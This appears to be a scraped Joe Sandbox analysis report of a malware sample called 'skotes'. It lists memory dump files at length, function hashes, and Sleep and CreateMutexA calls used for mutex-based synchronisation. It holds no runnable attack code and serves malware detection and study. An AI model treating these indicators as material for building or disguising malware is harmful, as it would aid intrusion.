Associated: 00000001.00000002.1799010542.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799028306.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799049726.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799067650.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799085524.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799104093.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799121857.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799140234.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799156778.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799176723.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799195580.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799213056.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799230971.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799249270.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799266847.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799285993.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799303484.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799321341.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799343792.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799399047.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799399047.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799447265.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799466385.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799486042.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799504916.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799522137.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799542044.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799559730.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2<
API String ID: 1464230837-1458272136
Opcode ID: 2b0bfedc43a51a1062a5a6f12cff6e543b6ed54a755f00e90cc92b5ca923ae30
Instruction ID: cc3b319508617718a14faca31534f23ec474e814d25e08ad068e775af86e1c7b
Opcode Fuzzy Hash: 2b0bfedc43a51a1062a5a6f12cff6e543b6ed54a755f00e90cc92b5ca923ae30
Instruction Fuzzy Hash: C1314A316045048BEB1AEF78CC89B6DB7A1EFC1314F34C618E154EB2D9C77999808F22

Function 0036A682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0036A963
CreateMutexA.KERNELBASE(00000000,00000000,003C3254), ref: 0036A981

Strings

T2<, xrefs: 0036A970

Memory Dump Source

Source File: 00000001.00000002.1798514482.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000001.00000002.1798496319.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798514482.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798570217.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798586715.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798604649.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798621213.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798636962.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798732092.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798749028.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798769614.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798785553.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798800963.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798817561.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798833097.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798833097.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798866414.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798882518.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798905439.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798922727.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798940046.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798956401.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798974802.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798992822.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799010542.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799028306.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799049726.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799067650.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799085524.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799104093.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799121857.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799140234.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799156778.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799176723.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799195580.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799213056.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799230971.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799249270.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799266847.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799285993.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799303484.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799321341.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799343792.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799399047.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799399047.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799447265.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799466385.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799486042.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799504916.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799522137.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799542044.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799559730.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2<
API String ID: 1464230837-1458272136
Opcode ID: 518dd3aea96dd9aed19da90a7536a8bd79b796cfbd1cf5dec28513938a2218ca
Instruction ID: 6fd38af3a7ddcef4afca0a1a38457e8483096708410762d6f292cf9652218760
Opcode Fuzzy Hash: 518dd3aea96dd9aed19da90a7536a8bd79b796cfbd1cf5dec28513938a2218ca
Instruction Fuzzy Hash: 4F3159316046049BEB1ADBB8DD89B6DB7B2EFC1314F34C618E014FB2D9C77599808B62

Function 00369ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0036A963
CreateMutexA.KERNELBASE(00000000,00000000,003C3254), ref: 0036A981

Strings

T2<, xrefs: 0036A970

Memory Dump Source

Source File: 00000001.00000002.1798514482.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000001.00000002.1798496319.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798514482.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798570217.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798586715.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798604649.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798621213.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798636962.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798732092.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798749028.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798769614.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798785553.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798800963.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798817561.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798833097.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798833097.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798866414.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798882518.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798905439.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798922727.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798940046.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798956401.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798974802.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798992822.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799010542.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799028306.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799049726.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799067650.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799085524.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799104093.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799121857.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799140234.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799156778.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799176723.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799195580.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799213056.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799230971.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799249270.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799266847.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799285993.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799303484.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799321341.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799343792.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799399047.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799399047.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799447265.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799466385.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799486042.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799504916.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799522137.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799542044.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799559730.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2<
API String ID: 1464230837-1458272136
Opcode ID: 0fd42a27f831666769abfaf0c710519de2b79971fe36e6a5a811cf10421d173f
Instruction ID: 443b19bc2252d6fc5aab10e3e9bd1acb8569546dea8eaffa1e9f8ed56286dba3
Opcode Fuzzy Hash: 0fd42a27f831666769abfaf0c710519de2b79971fe36e6a5a811cf10421d173f
Instruction Fuzzy Hash: 662149316046049BEB1AAF68DC85B6CB7A5EFC1310F30C619E518DB2EDC77659908B12

Function 0036A856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0036A963
CreateMutexA.KERNELBASE(00000000,00000000,003C3254), ref: 0036A981

Strings

T2<, xrefs: 0036A970

Memory Dump Source

Source File: 00000001.00000002.1798514482.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000001.00000002.1798496319.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798514482.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798570217.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798586715.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798604649.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798621213.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798636962.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798732092.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798749028.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798769614.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798785553.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798800963.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798817561.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798833097.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798833097.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798866414.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798882518.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798905439.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798922727.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798940046.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798956401.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798974802.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798992822.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799010542.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799028306.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799049726.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799067650.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799085524.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799104093.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799121857.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799140234.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799156778.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799176723.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799195580.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799213056.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799230971.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799249270.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799266847.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799285993.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799303484.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799321341.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799343792.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799399047.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799399047.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799447265.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799466385.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799486042.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799504916.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799522137.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799542044.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799559730.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2<
API String ID: 1464230837-1458272136
Opcode ID: 1acae15391fda65b70aafe5922ee9b08e2053a095935adaa961c8c6a78bd0fa0
Instruction ID: 44b3f0320d3aa167a6157f822125b58d7d3b5710da4c3929b43cfea25eff18ec
Opcode Fuzzy Hash: 1acae15391fda65b70aafe5922ee9b08e2053a095935adaa961c8c6a78bd0fa0
Instruction Fuzzy Hash: 62217F312586009AFB27AB68C886B7DBB91EFC1304F34CC16E104FB2DDCB7A58408A53

Function 0036A34F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0036A963
CreateMutexA.KERNELBASE(00000000,00000000,003C3254), ref: 0036A981

Strings

T2<, xrefs: 0036A970

Memory Dump Source

Source File: 00000001.00000002.1798514482.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000001.00000002.1798496319.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798514482.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798570217.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798586715.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798604649.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798621213.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798636962.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798732092.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798749028.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798769614.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798785553.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798800963.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798817561.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798833097.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798833097.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798866414.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798882518.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798905439.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798922727.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798940046.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798956401.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798974802.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798992822.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799010542.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799028306.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799049726.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799067650.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799085524.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799104093.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799121857.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799140234.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799156778.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799176723.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799195580.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799213056.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799230971.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799249270.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799266847.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799285993.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799303484.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799321341.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799343792.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799399047.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799399047.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799447265.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799466385.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799486042.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799504916.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799522137.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799542044.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799559730.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2<
API String ID: 1464230837-1458272136
Opcode ID: 4e4f8928e15f364b056f96e04b411b951a9cb34b0cf47ba4db625426f3e1167f
Instruction ID: 2ca59d9625d930fac0464d9a86701c9ed167971f21027280fa129fe1c3cd0e0f
Opcode Fuzzy Hash: 4e4f8928e15f364b056f96e04b411b951a9cb34b0cf47ba4db625426f3e1167f
Instruction Fuzzy Hash: 4A216A312446049BEB1A9B68DC8576CB7B5DFC1310F30C619E418EB7D8C77655808B12

Non-executed Functions

Function 00362EC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00362F5F
GetCurrentThreadId.KERNEL32 ref: 00362F7E
__Mtx_unlock.LIBCPMT ref: 00362FCC
__Cnd_broadcast.LIBCPMT ref: 00362FE3
__Mtx_unlock.LIBCPMT ref: 003630F5
GetCurrentThreadId.KERNEL32 ref: 00363132
__Mtx_unlock.LIBCPMT ref: 0036319B

Memory Dump Source

Source File: 00000001.00000002.1798514482.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000001.00000002.1798496319.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798514482.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798570217.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798586715.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798604649.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798621213.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798636962.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798732092.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
